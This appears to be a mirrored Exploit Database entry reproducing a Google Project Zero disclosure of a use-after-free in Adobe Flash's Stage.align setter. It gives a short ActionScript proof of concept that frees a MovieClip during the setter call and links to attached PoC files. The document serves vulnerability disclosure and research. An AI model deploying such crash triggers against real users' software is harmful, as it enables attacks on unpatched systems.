Adobe Flash – Stage.align Setter Use-After-Free

Exploit Database
170 阅读

作者： Google Security Research

日期： 2016-08-29
类别：
- dos
平台：
- multiple
来源：https://www.exploit-db.com/exploits/40308/

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838

There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free.

A proof-of-concept is as follows:

this.createEmptyMovieClip("mc", 2);

var o = { toString : f };

mc.func = ASnative(666, 4); //Stage.align setter

mc.func(o);

function f(){

trace("here");

mc.removeMovieClip();

for(var i = 0; i < 100; i++){

var t = new TextFormat(); // fill up the slots

}

A fla and swf are attached. The swf crashes in Chrome for Windows.

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40308.zip